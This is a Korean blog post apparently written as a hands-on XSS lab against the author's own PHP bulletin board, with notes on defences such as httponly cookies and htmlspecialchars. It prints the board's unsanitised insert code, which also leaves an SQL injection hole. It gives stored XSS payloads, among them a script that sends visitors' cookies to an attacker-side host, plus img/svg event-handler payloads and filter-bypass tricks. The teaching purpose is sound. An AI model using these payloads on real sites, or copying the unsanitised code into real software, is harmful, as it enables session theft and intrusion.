일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- misc
- 수학
- 사칙연산
- wargame
- Web
- php
- 그리디 알고리즘
- Forensics
- Digital Forensics
- 정렬
- Incognito
- 백준
- Text
- Database
- 써니나타스
- Web Hacking
- 인코그니토
- xcz.kr
- 문자열
- CTF
- cryptography
- Network
- 구현
- SuNiNaTas
- HackCTF
- MySQL
- writeup
- C
- N0Named
- Python
- Today
- Total
보안을 그리다, 훈이
[Web Hacking] XSS(Cross-Site Scripting) 실습 본문
앞서 포스팅한 [Web Hacking] XSS(Cross-Site Scripting) 취약점을 토대로 실습을 진행해보았다.
XSS 실습
앞서 제작한 게시판 웹앱에서 실습해 보기로 했다.
<!-- board - write_action.php -->
<?php
$connect = mysqli_connect("127.0.0.1", "root", "password", "db_board") or die("fail");
$id = $_POST['name']; //Writer
$title = $_POST['title']; //Title
$content = $_POST['content']; //Content
$date = date('Y-m-d H:i:s'); //Date
$URL = './index.php'; //return URL
$query = "INSERT INTO board (number, title, content, date, hit, id)
values(null,'$title', '$content', '$date', 0, '$id')";
$result = $connect->query($query);
if ($result) {
?> <script>
alert("<?php echo "게시글이 등록되었습니다." ?>");
location.replace("<?php echo $URL ?>");
</script>
<?php
} else {
echo "게시글 등록에 실패하였습니다.";
}
mysqli_close($connect);
?>
위 PHP 코드는 게시판 기능 중 게시글 작성시 필요한 기능인 write_action.php 소스코드이다.
XSS에 대한 어떠한 방지 기능도 구현하지 않았기 때문에 대부분의 공격 기법이 잘 먹히는 것을 확인할 수 있을 것이다.
먼저, 가장 간단한 alert 구문에 documet.cookie를 입력하고 저장하여, 게시글 확인 시 민감 정보인 쿠키를 출력하도록 Stored XSS 공격을 진행해 보았다.
// 공격 스크립트
<script>alert(document.cookie)</script>
위와 같이 쿠키가 정상적으로 출력된 것을 확인할 수 있다.
쿠키가 잘 출력된 것을 확인했으니, 이번에는 사용자의 쿠키를 탈취한 뒤 공격자에게 전송하는 XSS 공격을 시도해보도록 하겠다.
// 공격 스크립트
<script>document.location="localhost/cookie?"+document.cookie</script>
위 스크립트를 살펴보면 document.cookie를 통해 사용자의 쿠키를 수집하고, document.location을 통해 수집한 쿠키를 공격자의 웹 사이트로 리다이렉션한다.
본 실습에서 공격자를 localhost에서 구현하였기에 주소를 localhost로 입력했다.
본 게시글에 접근하는 사용자의 쿠키를 확인하기 위해서는 접근 로그를 기록하는 access_log 파일을 확인하면 된다.
access_log 파일은 웹 서버로 들어오는 모든 정보가 기록되는 공간이며, 필자의 환경에서 다음과 같이 명령을 실행하였다.
tail -f Applications/mampstack-8.0.3-0/apache2/logs/access_log
위와 같이 수집된 사용자의 쿠키가 실시간으로 출력되는 것을 확인할 수 있다.
이를 서버 단에서 방지하기 위해 스크립트에 의한 Cookie 접근을 제한하는 옵션인 httponly를 사용할 수 있다.
PHP 기준, /etc/php.ini 파일에서 session.cookie_httponly = 1로 설정한 후 재시작하면 적용된다.
[htmlspecialchars 함수]
htmlspecialchars 함수는 문자열에서 특정한 특수문자를 HTML 엔티티로 변환한다.
이 함수를 사용하면 공격자로부터 XSS 공격을 방지할 수 있다.
변환되는 문자는 아래와 같다.
특수문자 | 변환된 문자 |
& | & |
" | " |
' | ' |
< | < |
> | > |
이렇게 변환된 문자열들은 웹 브라우저가 읽더라도 더 이상 스크립트로 처리하지 않기 때문에 공격자가 삽입한 스크립트 코드는 실행되지 않는다.
대부분의 언어들은 이러한 처리 기능을 가진 내장 함수를 포함하여 XSS 공격을 방지한다.
[str_replace 필터링]
<script> 태그 등과 같은 스크립트 삽입을 방지하기 위해 str_replace 함수를 사용하여 필터링하는 방법이다.
그러나 자바스크립트는 대소문자를 구별하는 특성을 지니고 있기 때문에 지정한 값만 치환되며 대소문자를 섞어 <ScRipt> 등과 같이 사용하면 XSS 공격이 가능하다.
[preg_replace 필터링]
preg_replace("검색패턴(정규식)"), "치환할 문자열", 변수);
preg_replace 함수는 str_replace 함수와 달리, 대소문자를 구별하지 않기 때문에 지정한 값의 대소문자 변환 경우의 수는 모두 치환된다.
그러나 <sc<script>ript>와 같이 입력하면 우회가 가능하다.
[XSS Cheat Sheet]
XSS Cheat Sheet를 참조하여 각종 이벤트 핸들러 등 공격 가능한 부분을 파악한 후 대응하는 것이 중요하다.
// 공격 스크립트
<script>location.replace("https://hooneee.tistory.com/")</script>
<img src=x onerror=window.location.assign("https://hooneee.tistory.com/")>
<svg onload=window.location.assign("https://hooneee.tistory.com/")>
아래와 같이 <script> 태그 외에도 <img onerror>, <svg onload> 등 다양한 태그가 XSS 공격으로 사용될 수 있다.
XSS Cheat Sheet 관련 웹 사이트 및 문서를 모아두었다. 언젠가 쓸 일이 있지 않을까.
[참고]
https://g-idler.tistory.com/12?category=829171
'Security > Web Hacking' 카테고리의 다른 글
[Web Hacking] CSRF(Cross-Site Request Forgery) 실습 (0) | 2021.11.11 |
---|---|
[Web Hacking] CSRF(Cross-Site Request Forgery) 취약점 (0) | 2021.10.28 |
[Web Hacking] XSS Cheat Sheet (0) | 2021.10.27 |
[Web Hacking] XSS(Cross-Site Scripting) 취약점 (0) | 2021.10.25 |
[Web Hacking] 2021 OWASP Top 10 목록 (0) | 2021.10.19 |